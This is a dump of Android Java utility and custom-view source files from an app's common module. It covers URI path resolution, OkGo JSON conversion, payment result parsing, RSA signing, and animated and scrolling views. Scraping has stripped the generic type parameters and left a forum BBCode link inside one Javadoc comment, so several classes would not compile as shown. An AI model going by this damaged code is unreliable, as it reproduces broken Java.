29 | final String docId = getDocumentId(uri);
30 | final String[] split = docId.split(":");
31 | final String type = split[0];
32 | if ("primary".equalsIgnoreCase(type)) {
33 | return Environment.getExternalStorageDirectory() + "/" + split[1];
34 | }
35 | }
36 | // DownloadsProvider
37 | else if (isDownloadsDocument(uri)) {
38 | final String id = getDocumentId(uri);
39 | final Uri contentUri = ContentUris.withAppendedId(Uri.parse("content://downloads/public_downloads"), Long.valueOf(id));
40 | return getDataColumn(context, contentUri, null, null);
41 | }
42 | // MediaProvider
43 | else if (isMediaDocument(uri)) {
44 | final String docId = getDocumentId(uri);
45 | final String[] split = docId.split(":");
46 | final String type = split[0];
47 | Uri contentUri = null;
48 | if ("image".equals(type)) {
49 | contentUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
50 | } else if ("video".equals(type)) {
51 | contentUri = MediaStore.Video.Media.EXTERNAL_CONTENT_URI;
52 | } else if ("audio".equals(type)) {
53 | contentUri = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;
54 | }
55 | final String selection = "_id=?";
56 | final String[] selectionArgs = new String[] { split[1] };
57 | return getDataColumn(context, contentUri, selection, selectionArgs);
58 | }
59 | }
60 | // MediaStore (and general)
61 | else if ("content".equalsIgnoreCase(uri.getScheme())) {
62 | // Return the remote address
63 | if (isGooglePhotosUri(uri))
64 | return uri.getLastPathSegment();
65 | return getDataColumn(context, uri, null, null);
66 | }
67 | // File
68 | else if ("file".equalsIgnoreCase(uri.getScheme())) {
69 | return uri.getPath();
70 | }
71 | return null;
72 | }
73 |
74 | private static final String PATH_DOCUMENT = "document";
75 |
76 | /**
77 | * Test if the given URI represents a {@link Document} backed by a
78 | * {@link DocumentsProvider}.
79 | */
80 | private static boolean isDocumentUri(Context context, Uri uri) {
81 | final List paths = uri.getPathSegments();
82 | if (paths.size() < 2) {
83 | return false;
84 | }
85 | if (!PATH_DOCUMENT.equals(paths.get(0))) {
86 | return false;
87 | }
88 | return true;
89 | }
90 |
91 | private static String getDocumentId(Uri documentUri) {
92 | final List paths = documentUri.getPathSegments();
93 | if (paths.size() < 2) {
94 | throw new IllegalArgumentException("Not a document: " + documentUri);
95 | }
96 | if (!PATH_DOCUMENT.equals(paths.get(0))) {
97 | throw new IllegalArgumentException("Not a document: " + documentUri);
98 | }
99 | return paths.get(1);
100 | }
101 |
102 | /**
103 | * Get the value of the data column for this Uri. This is useful for
104 | * MediaStore Uris, and other file-based ContentProviders.
105 | *
106 | * @param context
107 | * The context.
108 | * @param uri
109 | * The Uri to query.
110 | * @param selection
111 | * (Optional) Filter used in the query.
112 | * @param selectionArgs
113 | * (Optional) Selection arguments used in the query.
114 | * [url=home.php?mod=space&uid=7300]@return[/url] The value of
115 | * the _data column, which is typically a file path.
116 | */
117 | public static String getDataColumn(Context context, Uri uri, String selection, String[] selectionArgs) {
118 | Cursor cursor = null;
119 | final String column = "_data";
120 | final String[] projection = { column };
121 | try {
122 | cursor = context.getContentResolver().query(uri, projection, selection, selectionArgs, null);
123 | if (cursor != null && cursor.moveToFirst()) {
124 | final int index = cursor.getColumnIndexOrThrow(column);
125 | return cursor.getString(index);
126 | }
127 | } finally {
128 | if (cursor != null)
129 | cursor.close();
130 | }
131 | return null;
132 | }
133 |
134 | /**
135 | * @param uri
136 | * The Uri to check.
137 | * @return Whether the Uri authority is ExternalStorageProvider.
138 | */
139 | public static boolean isExternalStorageDocument(Uri uri) {
140 | return "com.android.externalstorage.documents".equals(uri.getAuthority());
141 | }
142 |
143 | /**
144 | * @param uri
145 | * The Uri to check.
146 | * @return Whether the Uri authority is DownloadsProvider.
147 | */
148 | public static boolean isDownloadsDocument(Uri uri) {
149 | return "com.android.providers.downloads.documents".equals(uri.getAuthority());
150 | }
151 |
152 | /**
153 | * @param uri
154 | * The Uri to check.
155 | * @return Whether the Uri authority is MediaProvider.
156 | */
157 | public static boolean isMediaDocument(Uri uri) {
158 | return "com.android.providers.media.documents".equals(uri.getAuthority());
159 | }
160 |
161 | /**
162 | * @param uri
163 | * The Uri to check.
164 | * @return Whether the Uri authority is Google Photos.
165 | */
166 | public static boolean isGooglePhotosUri(Uri uri) {
167 | return "com.google.android.apps.photos.content".equals(uri.getAuthority());
168 | }
169 |
170 | /**
171 | * 判断应用是否是后台应用
172 | * @param context
173 | * @return
174 | */
175 | public static boolean isBackgroundRunning(Context context) {
176 | String processName =context.getPackageName();
177 |
178 | ActivityManager activityManager = (ActivityManager) context.getSystemService(context.ACTIVITY_SERVICE);
179 | KeyguardManager keyguardManager = (KeyguardManager) context.getSystemService(context.KEYGUARD_SERVICE);
180 |
181 | if (activityManager == null) return false;
182 | // get running application processes
183 | List processList = activityManager.getRunningAppProcesses();
184 | for (ActivityManager.RunningAppProcessInfo process : processList) {
185 | if (process.processName.startsWith(processName)) {
186 | boolean isBackground = process.importance != ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND && process.importance != ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE;
187 | boolean isLockedState = keyguardManager.inKeyguardRestrictedInputMode();
188 | if (isBackground || isLockedState) return true;
189 | else return false;
190 | }
191 | }
192 | return false;
193 | }
194 | }
195 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/ViewHolder.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils;
2 |
3 | /**
4 | * ViewHolder在Adapter里面使用
5 | */
6 |
7 | import android.util.SparseArray;
8 | import android.view.View;
9 |
10 | public class ViewHolder {
11 | public static T get(View view ,int id){
12 | SparseArray viewHolder = (SparseArray) view.getTag();
13 | if(viewHolder == null){
14 | viewHolder = new SparseArray();
15 | view.setTag(viewHolder);
16 | }
17 | View childView = viewHolder.get(id);
18 | if(childView == null){
19 | childView = view.findViewById(id);
20 | viewHolder.put(id, childView);
21 | }
22 | return (T)childView;
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/okgo/JsonCallback.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils.okgo;
2 |
3 | import com.jiangyu.common.entity.MySelfInfo;
4 | import com.jiangyu.common.entity.UserEntity;
5 | import com.lzy.okgo.callback.AbsCallback;
6 | import com.lzy.okgo.request.base.Request;
7 |
8 | import java.lang.reflect.ParameterizedType;
9 | import java.lang.reflect.Type;
10 |
11 | import okhttp3.Response;
12 |
13 | public abstract class JsonCallback extends AbsCallback {
14 |
15 | private Type type;
16 | private Class clazz;
17 |
18 | public JsonCallback() {
19 | }
20 |
21 | public JsonCallback(Type type) {
22 | this.type = type;
23 | }
24 |
25 | public JsonCallback(Class clazz) {
26 | this.clazz = clazz;
27 | }
28 |
29 | @Override
30 | public void onStart(Request request) {
31 | super.onStart(request);
32 | // 主要用于在所有请求之前添加公共的请求头或请求参数
33 | // 例如登录授权的 token
34 | // 使用的设备信息
35 | // 可以随意添加,也可以什么都不传
36 | // 还可以在这里对所有的参数进行加密,均在这里实现
37 | UserEntity user = MySelfInfo.getInstance().getUser();
38 | request.headers("userId", user == null ? "" : user.data.users.id) //header不支持中文,不允许有特殊字符
39 | .headers("loginToken", user == null ? "" : user.data.users.token);
40 | }
41 |
42 | /**
43 | * 该方法是子线程处理,不能做ui相关的工作
44 | * 主要作用是解析网络返回的 response 对象,生产onSuccess回调中需要的数据对象
45 | */
46 | @Override
47 | public T convertResponse(Response response) throws Throwable {
48 | if (type == null) {
49 | if (clazz == null) {
50 | Type genType = getClass().getGenericSuperclass();
51 | type = ((ParameterizedType) genType).getActualTypeArguments()[0];
52 | } else {
53 | JsonConvert convert = new JsonConvert<>(clazz);
54 | return convert.convertResponse(response);
55 | }
56 | }
57 | JsonConvert convert = new JsonConvert<>(type);
58 | return convert.convertResponse(response);
59 | }
60 | }
61 |
62 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/okgo/JsonConvert.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils.okgo;
2 |
3 | /**
4 | * JiangYu
5 | * 2018/1/3
6 | */
7 | import com.google.gson.Gson;
8 | import com.google.gson.stream.JsonReader;
9 | import com.lzy.okgo.convert.Converter;
10 |
11 | import org.json.JSONArray;
12 | import org.json.JSONObject;
13 |
14 | import java.lang.reflect.ParameterizedType;
15 | import java.lang.reflect.Type;
16 |
17 | import okhttp3.Response;
18 | import okhttp3.ResponseBody;
19 |
20 | public class JsonConvert implements Converter {
21 |
22 | private Type type;
23 | private Class clazz;
24 |
25 | public JsonConvert() {
26 | }
27 |
28 | public JsonConvert(Type type) {
29 | this.type = type;
30 | }
31 |
32 | public JsonConvert(Class clazz) {
33 | this.clazz = clazz;
34 | }
35 |
36 | /**
37 | * 该方法是子线程处理,不能做ui相关的工作
38 | * 主要作用是解析网络返回的 response 对象,生成onSuccess回调中需要的数据对象
39 | */
40 | @Override
41 | public T convertResponse(Response response) throws Throwable {
42 | if (type == null) {
43 | if (clazz == null) {
44 | // 如果没有通过构造函数传进来,就自动解析父类泛型的真实类型(有局限性,继承后就无法解析到)
45 | Type genType = getClass().getGenericSuperclass();
46 | type = ((ParameterizedType) genType).getActualTypeArguments()[0];
47 | } else {
48 | return parseClass(response, clazz);
49 | }
50 | }
51 |
52 | if (type instanceof Class) {
53 | return parseClass(response, (Class>) type);
54 | } else {
55 | return parseType(response, type);
56 | }
57 | }
58 |
59 | private T parseClass(Response response, Class> rawType) throws Exception {
60 | if (rawType == null) return null;
61 | ResponseBody body = response.body();
62 | if (body == null) return null;
63 | JsonReader jsonReader = new JsonReader(body.charStream());
64 |
65 | if (rawType == String.class) {
66 | //noinspection unchecked
67 | return (T) body.string();
68 | } else if (rawType == JSONObject.class) {
69 | //noinspection unchecked
70 | return (T) new JSONObject(body.string());
71 | } else if (rawType == JSONArray.class) {
72 | //noinspection unchecked
73 | return (T) new JSONArray(body.string());
74 | } else {
75 | T t = new Gson().fromJson(jsonReader, rawType);
76 | response.close();
77 | return t;
78 | }
79 | }
80 |
81 | private T parseType(Response response, Type type) throws Exception {
82 | if (type == null) return null;
83 | ResponseBody body = response.body();
84 | if (body == null) return null;
85 | JsonReader jsonReader = new JsonReader(body.charStream());
86 |
87 | // 泛型格式如下: new JsonCallback<任意JavaBean>(this)
88 | T t = new Gson().fromJson(jsonReader, type);
89 | response.close();
90 | return t;
91 | }
92 | }
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/pay/PayResult.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils.pay;
import android.text.TextUtils;
public class PayResult {
private String resultStatus;
private String result;
private String memo;
public PayResult(String rawResult) {
if (TextUtils.isEmpty(rawResult))
return;
String[] resultParams = rawResult.split(";");
for (String resultParam : resultParams) {
if (resultParam.startsWith("resultStatus")) {
resultStatus = gatValue(resultParam, "resultStatus");
}
if (resultParam.startsWith("result")) {
result = gatValue(resultParam, "result");
}
if (resultParam.startsWith("memo")) {
memo = gatValue(resultParam, "memo");
}
}
}
@Override
public String toString() {
return "resultStatus={" + resultStatus + "};memo={" + memo
+ "};result={" + result + "}";
}
private String gatValue(String content, String key) {
String prefix = key + "={";
return content.substring(content.indexOf(prefix) + prefix.length(),
content.lastIndexOf("}"));
}
/**
* @return the resultStatus
*/
public String getResultStatus() {
return resultStatus;
}
/**
* @return the memo
*/
public String getMemo() {
return memo;
}
/**
* @return the result
*/
public String getResult() {
return result;
}
}
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/utils/pay/SignUtils.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.utils.pay;
2 |
3 |
4 |
5 | import java.security.KeyFactory;
6 | import java.security.PrivateKey;
7 | import java.security.spec.PKCS8EncodedKeySpec;
8 |
9 | public class SignUtils {
10 |
11 | private static final String ALGORITHM = "RSA";
12 |
13 | private static final String SIGN_ALGORITHMS = "SHA1WithRSA";
14 |
15 | private static final String DEFAULT_CHARSET = "UTF-8";
16 |
17 | public static String sign(String content, String privateKey) {
18 | try {
19 | PKCS8EncodedKeySpec priPKCS8 = new PKCS8EncodedKeySpec(
20 | Base64.decode(privateKey));
21 | KeyFactory keyf = KeyFactory.getInstance(ALGORITHM);
22 | PrivateKey priKey = keyf.generatePrivate(priPKCS8);
23 |
24 | java.security.Signature signature = java.security.Signature
25 | .getInstance(SIGN_ALGORITHMS);
26 |
27 | signature.initSign(priKey);
28 | signature.update(content.getBytes(DEFAULT_CHARSET));
29 |
30 | byte[] signed = signature.sign();
31 |
32 | return Base64.encode(signed);
33 | } catch (Exception e) {
34 | e.printStackTrace();
35 | }
36 |
37 | return null;
38 | }
39 |
40 | }
41 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/AddShopAnimationUtil.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.view;
2 |
3 | import android.animation.Animator;
4 | import android.animation.AnimatorSet;
5 | import android.animation.ObjectAnimator;
6 | import android.animation.ValueAnimator;
7 | import android.content.Context;
8 | import android.graphics.Path;
9 | import android.graphics.PathMeasure;
10 | import android.view.animation.LinearInterpolator;
11 | import android.widget.ImageView;
12 | import android.widget.RelativeLayout;
13 |
14 | public class AddShopAnimationUtil {
15 | private Context mContext;
16 |
17 | // 购物车父布局
18 | private RelativeLayout mshoppingCartRelativeLayout;
19 | // 购物车图片显示
20 | private ImageView mShoppingCartIv;
21 | // 贝塞尔曲线中间过程点坐标
22 | private float[] mCurrentPosition = new float[2];
23 | // 路径测量
24 | private PathMeasure mPathMeasure;
25 |
26 | /**
27 | *
28 | * @param shoppingCartRelativeLayout
29 | * 当前页面所在的RelativeLaout,用于addView
30 | * @param shoppingCartIv
31 | * 购物车图标
32 | */
33 | public AddShopAnimationUtil(Context context, RelativeLayout shoppingCartRelativeLayout, ImageView shoppingCartIv) {
34 | mContext = context;
35 | mshoppingCartRelativeLayout = shoppingCartRelativeLayout;
36 | mShoppingCartIv = shoppingCartIv;
37 | }
38 |
39 | /**
40 | *
41 | * @param mGoodsImg
42 | * 添加商品的ImageView
43 | * @param isLeft
44 | * 在左边是顺时针旋转,右边逆时针
45 | */
46 | public void addGoodsToCart(ImageView mGoodsImg, boolean isLeft) {
47 | // 创造出执行动画的主题mGoodsImg(这个图片就是执行动画的图片,从开始位置出发,经过一个抛物线(贝塞尔曲线),移动到购物车里)
48 | final ImageView goods = new ImageView(mContext);
49 | goods.setImageDrawable(mGoodsImg.getDrawable());
50 | RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(mGoodsImg.getWidth(), mGoodsImg.getHeight());
51 | mshoppingCartRelativeLayout.addView(goods, params);
52 |
53 | // 得到父布局的起始点坐标(用于辅助计算动画开始/结束时的点的坐标)
54 | int[] parentLocation = new int[2];
55 | mshoppingCartRelativeLayout.getLocationInWindow(parentLocation);
56 |
57 | // 得到商品图片的坐标(用于计算动画开始的坐标)
58 | int startLoc[] = new int[2];
59 | mGoodsImg.getLocationInWindow(startLoc);
60 |
61 | // 得到购物车图片的坐标(用于计算动画结束后的坐标)
62 | int endLoc[] = new int[2];
63 | mShoppingCartIv.getLocationInWindow(endLoc);
64 |
65 | // 开始掉落的商品的起始点:商品起始点-父布局起始点
66 | float startX = startLoc[0] - parentLocation[0];
67 | float startY = startLoc[1] - parentLocation[1];
68 |
69 | // 商品掉落后的终点坐标:购物车起始点-父布局起始点-图片缩放后的大小
70 | float toX = endLoc[0] - parentLocation[0] - mGoodsImg.getWidth() * 0.4f;
71 | float toY = endLoc[1] - parentLocation[1] - mGoodsImg.getHeight() * 0.4f;
72 |
73 | // 开始绘制贝塞尔曲线
74 | Path path = new Path();
75 | // 移动到起始点(贝塞尔曲线的起点)
76 | path.moveTo(startX, startY);
77 | // 使用二阶贝塞尔曲线:注意第一个起始坐标越大,贝塞尔曲线的横向距离就会越大,一般按照下面的式子取即可
78 | path.quadTo((startX + toX) / 2, startY, toX, toY);
79 | // mPathMeasure用来计算贝塞尔曲线的曲线长度和贝塞尔曲线中间插值的坐标,如果是true,path会形成一个闭环
80 | mPathMeasure = new PathMeasure(path, false);
81 |
82 | // 属性动画实现(从0到贝塞尔曲线的长度之间进行插值计算,获取中间过程的距离值)
83 | ValueAnimator valueAnimator = ValueAnimator.ofFloat(0, mPathMeasure.getLength());
84 |
85 | // 匀速线性插值器
86 | valueAnimator.setInterpolator(new LinearInterpolator());
87 | valueAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
88 | @Override
89 | public void onAnimationUpdate(ValueAnimator animation) {
90 | // 当插值计算进行时,获取中间的每个值,
91 | // 这里这个值是中间过程中的曲线长度(下面根据这个值来得出中间点的坐标值)
92 | float value = (Float) animation.getAnimatedValue();
93 | // 获取当前点坐标封装到mCurrentPosition
94 | // 传入一个距离distance(0<=distance<=getLength()),然后会计算当前距离的坐标点和切线,pos会自动填充上坐标,这个方法很重要。
95 | // mCurrentPosition此时就是中间距离点的坐标值
96 | mPathMeasure.getPosTan(value, mCurrentPosition, null);
97 | // 移动的商品图片(动画图片)的坐标设置为该中间点的坐标
98 | goods.setTranslationX(mCurrentPosition[0]);
99 | goods.setTranslationY(mCurrentPosition[1]);
100 | }
101 | });
102 | ValueAnimator valueAnimator2;
103 | if (isLeft) {
104 | valueAnimator2 = ObjectAnimator.ofFloat(goods, "rotation", 1f, 180f);
105 | } else {
106 | valueAnimator2 = ObjectAnimator.ofFloat(goods, "rotation", 1f, -180f);
107 | }
108 | ValueAnimator valueAnimator3 = ObjectAnimator.ofFloat(goods, "scaleX", 1f, 0.3f);
109 | ValueAnimator valueAnimator4 = ObjectAnimator.ofFloat(goods, "scaleY", 1f, 0.3f);
110 |
111 | AnimatorSet set = new AnimatorSet();
112 | set.setInterpolator(new LinearInterpolator());
113 | set.setDuration(500);
114 | set.play(valueAnimator).with(valueAnimator2).with(valueAnimator3).with(valueAnimator4);
115 | set.start();
116 |
117 | // 动画结束后的处理
118 | valueAnimator.addListener(new Animator.AnimatorListener() {
119 | @Override
120 | public void onAnimationStart(Animator animation) {
121 | }
122 |
123 | @Override
124 | public void onAnimationEnd(Animator animation) {
125 | // 购物车商品数量加1
126 | // 把执行动画的商品图片从父布局中移除
127 | mshoppingCartRelativeLayout.removeView(goods);
128 | }
129 |
130 | @Override
131 | public void onAnimationCancel(Animator animation) {
132 | }
133 |
134 | @Override
135 | public void onAnimationRepeat(Animator animation) {
136 | }
137 | });
138 | }
139 | }
140 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/AutoScrollTextView.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.view;
2 |
3 | import android.content.Context;
4 | import android.content.res.TypedArray;
5 | import android.graphics.Color;
6 | import android.os.Handler;
7 | import android.os.Message;
8 | import android.text.Html;
9 | import android.util.AttributeSet;
10 | import android.view.Gravity;
11 | import android.view.View;
12 | import android.view.animation.AccelerateInterpolator;
13 | import android.view.animation.Animation;
14 | import android.view.animation.TranslateAnimation;
15 | import android.widget.TextSwitcher;
16 | import android.widget.TextView;
17 | import android.widget.ViewSwitcher;
18 |
19 |
20 | import com.jiangyu.common.R;
21 |
22 | import java.util.ArrayList;
23 |
24 | public class AutoScrollTextView extends TextSwitcher implements
25 | ViewSwitcher.ViewFactory {
26 |
27 | private static final int FLAG_START_AUTO_SCROLL = 1001;
28 | private static final int FLAG_STOP_AUTO_SCROLL = 1002;
29 |
30 | /**
31 | * 轮播时间间隔
32 | */
33 | private int scrollDuration = 3000;
34 | /**
35 | * 动画时间
36 | */
37 | private int animDuration = 300;
38 |
39 | /**
40 | * 文字大小
41 | */
42 | private float mTextSize = 14;
43 | /**
44 | * 文字Padding
45 | */
46 | private int mPadding = 0;
47 | /**
48 | * 文字颜色
49 | */
50 | private int textColor = Color.BLACK;
51 |
52 | private OnItemClickListener itemClickListener;
53 | private Context mContext;
54 | /**
55 | * 当前显示Item的ID
56 | */
57 | private int currentId = -1;
58 | private ArrayList textList;
59 | private Handler handler;
60 |
61 | public AutoScrollTextView(Context context) {
62 | this(context, null);
63 | mContext = context;
64 | }
65 |
66 | public AutoScrollTextView(Context context, AttributeSet attrs) {
67 | super(context, attrs);
68 | mContext = context;
69 | TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.autoScrollHeight);
70 | mTextSize = a.getDimension(R.styleable.autoScrollHeight_textSize, 14);
71 | mPadding = (int) a.getDimension(R.styleable.autoScrollHeight_padding, 0);
72 | scrollDuration = a.getInteger(R.styleable.autoScrollHeight_scrollDuration, 3000);
73 | animDuration = a.getInteger(R.styleable.autoScrollHeight_animDuration, 300);
74 | textColor = a.getColor(R.styleable.autoScrollHeight_textColor, Color.BLACK);
75 | a.recycle();
76 | init();
77 | }
78 |
79 | private void init() {
80 | textList = new ArrayList();
81 | handler = new Handler() {
82 | @Override
83 | public void handleMessage(Message msg) {
84 | switch (msg.what) {
85 | case FLAG_START_AUTO_SCROLL:
86 | if (textList.size() > 0) {
87 | currentId++;
88 | setText(Html.fromHtml(textList.get(currentId % textList.size())));
89 | }
90 | handler.sendEmptyMessageDelayed(FLAG_START_AUTO_SCROLL, scrollDuration);
91 | break;
92 | case FLAG_STOP_AUTO_SCROLL:
93 | handler.removeMessages(FLAG_START_AUTO_SCROLL);
94 | break;
95 | }
96 | }
97 | };
98 |
99 | setFactory(this);
100 | Animation in = new TranslateAnimation(0, 0, 300, 0);
101 | in.setDuration(animDuration);
102 | in.setInterpolator(new AccelerateInterpolator());
103 | Animation out = new TranslateAnimation(0, 0, 0, -300);
104 | out.setDuration(animDuration);
105 | out.setInterpolator(new AccelerateInterpolator());
106 | setInAnimation(in);
107 | setOutAnimation(out);
108 | }
109 |
110 | /**
111 | * 设置数据源
112 | *
113 | * @param titles
114 | */
115 | public void setTextList(ArrayList titles) {
116 | textList.clear();
117 | textList.addAll(titles);
118 | currentId = -1;
119 | }
120 |
121 | /**
122 | * 开始轮播
123 | */
124 | public void startAutoScroll() {
125 | handler.sendEmptyMessage(FLAG_START_AUTO_SCROLL);
126 | }
127 |
128 | /**
129 | * 停止轮播
130 | */
131 | public void stopAutoScroll() {
132 | handler.sendEmptyMessage(FLAG_STOP_AUTO_SCROLL);
133 | }
134 |
135 | @Override
136 | public View makeView() {
137 | TextView t = new TextView(mContext);
138 | t.setGravity(Gravity.CENTER_VERTICAL | Gravity.LEFT);
139 | t.setMaxLines(1);
140 | t.setPadding(mPadding, mPadding, mPadding, mPadding);
141 | t.setTextColor(textColor);
142 | t.setTextSize(mTextSize);
143 |
144 | t.setClickable(true);
145 | t.setOnClickListener(new OnClickListener() {
146 | @Override
147 | public void onClick(View v) {
148 | if (itemClickListener != null && textList.size() > 0 && currentId != -1) {
149 | itemClickListener.onItemClick(currentId % textList.size());
150 | }
151 | }
152 | });
153 |
154 | return t;
155 | }
156 |
157 | /**
158 | * 设置点击事件监听
159 | *
160 | * @param itemClickListener
161 | */
162 | public void setOnItemClickListener(OnItemClickListener itemClickListener) {
163 | this.itemClickListener = itemClickListener;
164 | }
165 |
166 | /**
167 | * 轮播文本点击监听器
168 | */
169 | public interface OnItemClickListener {
170 |
171 | /**
172 | * 点击回调
173 | *
174 | * @param position 当前点击ID
175 | */
176 | public void onItemClick(int position);
177 |
178 | }
179 |
180 | }
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/CircularImage.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.view;
2 |
3 |
4 |
5 |
6 | import android.content.Context;
7 | import android.graphics.Bitmap;
8 | import android.graphics.Canvas;
9 | import android.graphics.Color;
10 | import android.graphics.Paint;
11 | import android.graphics.RectF;
12 | import android.util.AttributeSet;
13 |
14 | //圆形头像控件
15 | public class CircularImage extends MaskedImage {
16 |
17 | public CircularImage(Context paramContext) {
18 | super(paramContext);
19 | }
20 |
21 | public CircularImage(Context paramContext, AttributeSet paramAttributeSet) {
22 | super(paramContext, paramAttributeSet);
23 | }
24 |
25 | public CircularImage(Context paramContext, AttributeSet paramAttributeSet, int paramInt) {
26 | super(paramContext, paramAttributeSet, paramInt);
27 | }
28 |
29 | public Bitmap createMask() {
30 | int i = getWidth();
31 | int j = getHeight();
32 | Bitmap.Config localConfig = Bitmap.Config.ARGB_8888;
33 | Bitmap localBitmap = Bitmap.createBitmap(i, j, localConfig);
34 | Canvas localCanvas = new Canvas(localBitmap);
35 | Paint localPaint = new Paint(1);
36 | localPaint.setColor(Color.BLACK);
37 | float f1 = getWidth();
38 | float f2 = getHeight();
39 | RectF localRectF = new RectF(0.0F, 0.0F, f1, f2);
40 | localCanvas.drawOval(localRectF, localPaint);
41 | return localBitmap;
42 | }
43 |
44 | }
45 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/CustomCountDownTimer.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.view;
2 |
3 | import android.os.Handler;
4 | import android.os.Message;
5 | import android.os.SystemClock;
6 |
7 | /**
8 | * 使用android.os.CountDownTimer的源码
9 | * 1. 对回调onTick做了细小调整,已解决最后1秒不会倒计时到0,要等待2秒才回调onFinish
10 | * 2. 添加了一些自定义方法
11 | * Created by iWgang on 15/10/18.
12 | * https://github.com/iwgang/CountdownView
13 | */
14 | public abstract class CustomCountDownTimer {
15 | private static final int MSG = 1;
16 | private final long mMillisInFuture;
17 | private final long mCountdownInterval;
18 | private long mStopTimeInFuture;
19 | private long mPauseTimeInFuture;
20 | private boolean isStop = false;
21 | private boolean isPause = false;
22 |
23 | /**
24 | * @param millisInFuture 总倒计时时间
25 | * @param countDownInterval 倒计时间隔时间
26 | */
27 | public CustomCountDownTimer(long millisInFuture, long countDownInterval) {
28 | // 解决秒数有时会一开始就减去了2秒问题(如10秒总数的,刚开始就8999,然后没有不会显示9秒,直接到8秒)
29 | if (countDownInterval > 1000) millisInFuture += 15;
30 | mMillisInFuture = millisInFuture;
31 | mCountdownInterval = countDownInterval;
32 | }
33 |
34 | private synchronized CustomCountDownTimer start(long millisInFuture) {
35 | isStop = false;
36 | if (millisInFuture <= 0) {
37 | onFinish();
38 | return this;
39 | }
40 | mStopTimeInFuture = SystemClock.elapsedRealtime() + millisInFuture;
41 | mHandler.sendMessage(mHandler.obtainMessage(MSG));
42 | return this;
43 | }
44 |
45 | /**
46 | * 开始倒计时
47 | */
48 | public synchronized final void start() {
49 | start(mMillisInFuture);
50 | }
51 |
52 | /**
53 | * 停止倒计时
54 | */
55 | public synchronized final void stop() {
56 | isStop = true;
57 | mHandler.removeMessages(MSG);
58 | }
59 |
60 | /**
61 | * 暂时倒计时
62 | * 调用{@link #restart()}方法重新开始
63 | */
64 | public synchronized final void pause() {
65 | if (isStop) return ;
66 |
67 | isPause = true;
68 | mPauseTimeInFuture = mStopTimeInFuture - SystemClock.elapsedRealtime();
69 | mHandler.removeMessages(MSG);
70 | }
71 |
72 | /**
73 | * 重新开始
74 | */
75 | public synchronized final void restart() {
76 | if (isStop || !isPause) return ;
77 |
78 | isPause = false;
79 | start(mPauseTimeInFuture);
80 | }
81 |
82 | /**
83 | * 倒计时间隔回调
84 | * @param millisUntilFinished 剩余毫秒数
85 | */
86 | public abstract void onTick(long millisUntilFinished);
87 |
88 | /**
89 | * 倒计时结束回调
90 | */
91 | public abstract void onFinish();
92 |
93 |
94 | private Handler mHandler = new Handler() {
95 |
96 | @Override
97 | public void handleMessage(Message msg) {
98 |
99 | synchronized (CustomCountDownTimer.this) {
100 | if (isStop || isPause) {
101 | return;
102 | }
103 |
104 | final long millisLeft = mStopTimeInFuture - SystemClock.elapsedRealtime();
105 | if (millisLeft <= 0) {
106 | onFinish();
107 | } else {
108 | long lastTickStart = SystemClock.elapsedRealtime();
109 | onTick(millisLeft);
110 |
111 | // take into account user's onTick taking time to execute
112 | long delay = lastTickStart + mCountdownInterval - SystemClock.elapsedRealtime();
113 |
114 | // special case: user's onTick took more than interval to
115 | // complete, skip to next interval
116 | while (delay < 0) delay += mCountdownInterval;
117 |
118 | sendMessageDelayed(obtainMessage(MSG), delay);
119 | }
120 | }
121 | }
122 | };
123 | }
124 |
--------------------------------------------------------------------------------
/common/src/main/java/com/jiangyu/common/view/ElasticScrollView.java:
--------------------------------------------------------------------------------
1 | package com.jiangyu.common.view;
2 |
3 | import android.content.Context;
4 | import android.graphics.Rect;
5 | import android.util.AttributeSet;
6 | import android.view.MotionEvent;
7 | import android.view.View;
8 | import android.view.animation.Animation;
9 | import android.view.animation.Animation.AnimationListener;
10 | import android.view.animation.TranslateAnimation;
11 | import android.widget.ScrollView;
12 |
13 | /**
14 | * ElasticScrollView有弹性的ScrollView
15 | * 可以向下拉动,放开手指后自动恢复
16 | */
17 | public class ElasticScrollView extends ScrollView {
18 | private View inner;
19 | private float y;
20 | private Rect normal = new Rect();
21 | private boolean animationFinish = true;
22 |
23 | public ElasticScrollView(Context context) {
24 | super(context);
25 | }
26 |
27 | public ElasticScrollView(Context context, AttributeSet attrs) {
28 | super(context, attrs);
29 | }
30 |
31 | @Override
32 | protected void onFinishInflate() {
33 | if (getChildCount() > 0) {
34 | inner = getChildAt(0);
35 | }
36 | }
37 |
38 | @Override
39 | public boolean onTouchEvent(MotionEvent ev) {
40 | if (inner == null) {
41 | return super.onTouchEvent(ev);
42 | } else {
43 | commOnTouchEvent(ev);
44 | }
45 | return super.onTouchEvent(ev);
46 | }
47 |
48 | public void commOnTouchEvent(MotionEvent ev) {
49 | if (animationFinish) {
50 | int action = ev.getAction();
51 | switch (action) {
52 | case MotionEvent.ACTION_DOWN:
53 | // System.out.println("ACTION_DOWN");
54 | y = ev.getY();
55 | super.onTouchEvent(ev);
56 | break;
57 | case MotionEvent.ACTION_UP:
58 | // System.out.println("ACTION_UP");
59 | y = 0;
60 | if (isNeedAnimation()) {
61 | animation();
62 | }
63 | super.onTouchEvent(ev);
64 | break;
